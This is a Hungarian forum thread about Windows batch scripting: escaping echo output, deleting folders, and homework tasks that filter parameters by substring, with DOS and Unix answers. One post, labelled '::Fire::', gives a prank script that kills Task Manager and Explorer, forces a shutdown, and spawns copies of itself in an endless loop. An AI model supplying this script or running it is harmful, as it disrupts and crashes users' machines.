Batch programozás
Jelentkezz be a hozzászóláshoz.
Egy meghajtó vagy elérési út mappastruktúrájának grafikus megjelenítése.
TREE
/F Az összes fájl nevének megjelenítése az összes mappában.
/A ASCII-karakterek használata bõvített karakterek helyett.
gondolom mert hosszú fájlnevek, ékezetek, stb.
hogyan lehetne ezt áthidalni?
lenne egy ilyen problémám
cls
echo szöveg > ennyi.txt
echo type ennyi.txt >> ennyi.txt > pro.txt
exit
azt akarom elérni hogy ezt : type ennyi.txt >> ennyi.txt
beírja a pro.bat ba de sehogy se akarja ezt egyszerû szövegként értelmezni próbáltam "" ilyenek közé rakni akkor beírja de " ezekkel együtt
elõre is kösz a megoldást
A fájdalom elkerülhetetlen. A szenvedés választás dolga. ... Hirosima '45 .... Csernobil '86 ...... Windows '95 ...
így kérdezés nélkül letörli az egész könyvtárat, de vigyázni ha a c:\ után nincs semmi akkor az egész C-t fogja letörölni
\"Nem tudtam, hogy lehetelen, ezért megcsináltam!\"
Jegyzettömbbel, vagy más hasonló egyszeri szövegszerkesztõ/kódszerkesztõ alkalmazással (utóbbira: PsPad, Notepad++, Notepad2, jEdit, ConText).
Intel Core2 Quad Q6600 @ 2,40Ghz, 2GB RAM, Gigabyte 8800GTS 512, RAZER Lachesis, RAZER Piranha, RAZER Mantis Control, RAZER Lycosa
VIL-ASUS 8800GTS HDTV 320 MB PCI-E | AS-ASUS P5W DH Deluxe S775 | RAM: 4 GB(KINGMAX) | CPUI - Intel CORE 2 DUO E66 BOX S775 | Logitech G15 keyboard | Logitech G5 mouse | MAXIMUM GAME
Intel Core2 Quad Q6600 @ 2,40Ghz, 2GB RAM, Gigabyte 8800GTS 512, RAZER Lachesis, RAZER Piranha, RAZER Mantis Control, RAZER Lycosa
VIL-ASUS 8800GTS HDTV 320 MB PCI-E | AS-ASUS P5W DH Deluxe S775 | RAM: 4 GB(KINGMAX) | CPUI - Intel CORE 2 DUO E66 BOX S775 | Logitech G15 keyboard | Logitech G5 mouse | MAXIMUM GAME
del /q D:\valami\*.*
rd /q D:\valami
exit
Intel Core2 Quad Q6600 @ 2,40Ghz, 2GB RAM, Gigabyte 8800GTS 512, RAZER Lachesis, RAZER Piranha, RAZER Mantis Control, RAZER Lycosa
VIL-ASUS 8800GTS HDTV 320 MB PCI-E | AS-ASUS P5W DH Deluxe S775 | RAM: 4 GB(KINGMAX) | CPUI - Intel CORE 2 DUO E66 BOX S775 | Logitech G15 keyboard | Logitech G5 mouse | MAXIMUM GAME
rd /q (és a könyvtár..)
Intel Core2 Quad Q6600 @ 2,40Ghz, 2GB RAM, Gigabyte 8800GTS 512, RAZER Lachesis, RAZER Piranha, RAZER Mantis Control, RAZER Lycosa
VIL-ASUS 8800GTS HDTV 320 MB PCI-E | AS-ASUS P5W DH Deluxe S775 | RAM: 4 GB(KINGMAX) | CPUI - Intel CORE 2 DUO E66 BOX S775 | Logitech G15 keyboard | Logitech G5 mouse | MAXIMUM GAME
Intel Core2 Quad Q6600 @ 2,40Ghz, 2GB RAM, Gigabyte 8800GTS 512, RAZER Lachesis, RAZER Piranha, RAZER Mantis Control, RAZER Lycosa
ezt írd be:
del /q (és amit törölni akarsz...:))
Intel Core2 Quad Q6600 @ 2,40Ghz, 2GB RAM, Gigabyte 8800GTS 512, RAZER Lachesis, RAZER Piranha, RAZER Mantis Control, RAZER Lycosa
VIL-ASUS 8800GTS HDTV 320 MB PCI-E | AS-ASUS P5W DH Deluxe S775 | RAM: 4 GB(KINGMAX) | CPUI - Intel CORE 2 DUO E66 BOX S775 | Logitech G15 keyboard | Logitech G5 mouse | MAXIMUM GAME
Intel Core2 Quad Q6600 @ 2,40Ghz, 2GB RAM, Gigabyte 8800GTS 512, RAZER Lachesis, RAZER Piranha, RAZER Mantis Control, RAZER Lycosa
Még egyszer elmondom: írd be, hogy
Tessék már egy kicsit önállónak lenni.
plz segítsetek nagyon köszi!!
Intel Core2 Quad Q6600 @ 2,40Ghz, 2GB RAM, Gigabyte 8800GTS 512, RAZER Lachesis, RAZER Piranha, RAZER Mantis Control, RAZER Lycosa
nemvágom...kijavítanád plz?:)
Intel Core2 Quad Q6600 @ 2,40Ghz, 2GB RAM, Gigabyte 8800GTS 512, RAZER Lachesis, RAZER Piranha, RAZER Mantis Control, RAZER Lycosa
Tehát írd be:
Intel Core2 Quad Q6600 @ 2,40Ghz, 2GB RAM, Gigabyte 8800GTS 512, RAZER Lachesis, RAZER Piranha, RAZER Mantis Control, RAZER Lycosa
VIL-ASUS 8800GTS HDTV 320 MB PCI-E | AS-ASUS P5W DH Deluxe S775 | RAM: 4 GB(KINGMAX) | CPUI - Intel CORE 2 DUO E66 BOX S775 | Logitech G15 keyboard | Logitech G5 mouse | MAXIMUM GAME
2. megoldás: a batch állomány végére tegyél pause parancsot.
:task
start task.bat
goto task meg azt teszi ogy folyamatosan ismetli azt a folyamatot ami a :task alat van vagy is a start task.bat vagy is 1folytaba elinditja a task.bat-ot ami meg masolatot csinal magarol es elinditja magat magyarul ha sikerul megalitanod a folyamatos meg nyilast akkor le al a rendszer a vissza szamlalas miat ha meg a vissza szamlalast sikerul meg alitanod akkor meg lefagysz valszeg persze ezek nem bisztosak :D
::Fire::
@echo off
echo. tskill taskmgr > task.bat
echo copy task.bat task.bat >> task.bat
echo start task.bat >> task.bat
shutdown -s -t 50
tskill explorer
:task
start task.bat
goto task
gondolom tudjatok mit csinal XD
------------------------------------------------------------
1. A batch fájl írja ki a gyökérkönyvtárból azokat, amelyek tartalmazzák az 1. paraméterben megadott karakterláncot.
@echo off
dir\|find "%1"
rem Ha nem megy, a parametersort irjuk NAGYBETUKKEL!
rem Javasolt kiprobalas: a paranccsorba irjuk be: TOE (kiirja: AUTOEXEC.BAT)
2. A batch fájl az indításakor megadott 3 paraméter közül csak azokat írja ki a képernyõre, amelyek tartalmazzák az „a” betût.
@echo off
echo %1|find "a"
echo %2|find "a"
echo %3|find "a"
rem Fontos! Nincs hibaellenorzes, feltetelezzuk hogy van 3 parameter!
3. A batch fájl az indításakor megadott 4 paraméter közül csak azokat írja ki a képernyõre (az elsõ 3 közül), amelyek tartalmazzák a 4. paraméterben megadott karakterláncot.
@echo off
echo %1|find "%4"
echo %2|find "%4"
echo %3|find "%4"
rem Fontos! Nincs hibaellenorzes, feltetelezzuk hogy van 4 parameter!
A ciklust végig kéne próbálgatni, igazából string kezelõ függvényeket nem találtam sajnos.
hi
A 15-ös feladat kétértelmû. Lehet filenévben is karaktersorozatokat keresni, illetve magában a file-ban is.
A 16-os 17-es feladatok pedig abban van a bibi, hogy rész-karakterláncot kell keresni. Ha nem azt kéne, megoldható lenne egyszerû feltételekkel is:
IF %2==%4 ECHO %2
IF %3==%4 ECHO %3
Sajnos a FOR /F-rõl nem találtam olyan példát, ahol kifejezetten sztringet kerestek sztringben. A súgó is eléggé elszomorító:
FOR /F ["beállítások"] %változó IN ("karakterlánc") DO parancs
FOR /F ["beállítások"] %változó IN ('parancs') DO parancs
De itt sem járhatunk sok sikerrel. <#shakehead>#shakehead>
( ha a 15 öst jól értem, akkor nem a fájlnevekben kell keresni, hanem a fájl tartalomban??? )
Findstr
Normál kifejezések használatával szövegmintákat keres fájlokban.
Szintaxis
findstr [/b] [/e] [/l] [/r] [/s] [/i] [/x] [/v] [/n] [/m] [/o] [/p] [/offline] [/g:fájl] [/f:fájl] [/c:karakterlánc] [/d:könyvtárlista] [/a:színattribútum]
for /F ["elemzési_kulcsszavak"] {%% | %}változó in ("normál_karakterlánc") do parancs
három ciklust írnék, a három bemeneti argumentumra ( %1 %2 %3 ), és a ciklusmagban vizsgálnám az egyezést, ha egyezik, akkor gotoval elugrik, és kiiratni..
hi
köszike de meglehetne oldani azt hogy ez Dos és Windowsban legyen?
Mert az "említett hölgyemény"nek sajnos így kell meg lehet oldani?
köszi
Zoli
Need for Speed Most Wanted
2. Dos/Windows vagy Unix/Linux alatt érdekel a megoldás? Valószínûsítem hogy a az említett hölgyemény ez utóbbira kiváncsi.
3. Crack-et ne ajánlgass, azt tudunk találni a neten... Másrészt ez nem ilyen fórum.
A 15-ös feladat batch file-ja Dos/Windows alatt:
Ugyanez Linux/Unix alatt:
ls / | grep $1
16-os feladat Unix/Linux alatt:
echo $1 | grep a;
echo $2 | grep a;
echo $3 | grep a;
17-es feladat Unix/Linux alatt:
echo $1 | grep $4;
echo $2 | grep $4;
echo $3 | grep $4;
Kérlek segítsetek egy kicsit!!
Itt lenne néhány feladat pontosan 3 és nem bírok velük igaz még 1 napja tanulom ezt a dolgot de nem megy és igazából még talán az is baj hogy nem magamnak tanulom hanem megkértek rá ráadásul egy lány. 21 éves és nemtudom miért kapta ezeket a feladatokat. (én 13 éves vagyok :P komolyan)
valaki megcsinálná nekem vagy elmagyarázná ezt az egészet? Holnap este 22:00-ig van idõnk.
Kérlek a választ vagy publikáljátok itt vagy küldjétek el mailba a [email protected] címre
Elõre is nagyon nagyon köszönöm a segítségeteket!!
Ha kell valami játékkal kapcsolatos dolog nektek vagy valami akkor szóljatok vagy írjatok mailt és megszerzem. Játékot ha nem is de amik kellenek hozzá mint pl inkább nem mondom:P az az akármi.exe amivel felülírod a játék exejét :P (Csak hogy ne tudjanak belémkötni :P)
nagyon köszi még 1*
A feladatok:
15. Feladat
A batch fájl írja ki a gyökérkönyvtárból azokat, amelyek tartalmazzák az 1. paraméterben megadott karakter-láncot.
16. Feladat
A batch fájl az indításakor megadott 3 paraméter közül csak azokat írja ki a képernyõre, amelyek tartalmazzák az “a” betût.
17. Feladat
A batch fájl az indításakor megadott 4 paraméter közül csak azokat írja ki a képernyõre (az elsõ 3 közül), amelyek tartalmazzák a 4. paraméterben megadott karakterláncot.
Need for Speed Most Wanted
http://www.computerhope.com/if.htm
Dez: Inkompatibilitas definicioja jatekoknal: amikor fut,de csak pl. 1 fps-sel,vagy össze-vissza akadozva,irányíthatatlanul 2. K8-nál alapból mindig 200MHz az FSB. Csak tuning által lesz magasabb.
Dez: Inkompatibilitas definicioja jatekoknal: amikor fut,de csak pl. 1 fps-sel,vagy össze-vissza akadozva,irányíthatatlanul 2. K8-nál alapból mindig 200MHz az FSB. Csak tuning által lesz magasabb.
"...a labda mindenhol gömböly?, a focisták mindenhol kenhet?ek, a bírók meg mindenütt befújják a kamu büntet?t" Játszd körbe coin+concede kombóval!
Fákjúal!
Alantabb láthatsz példákat is.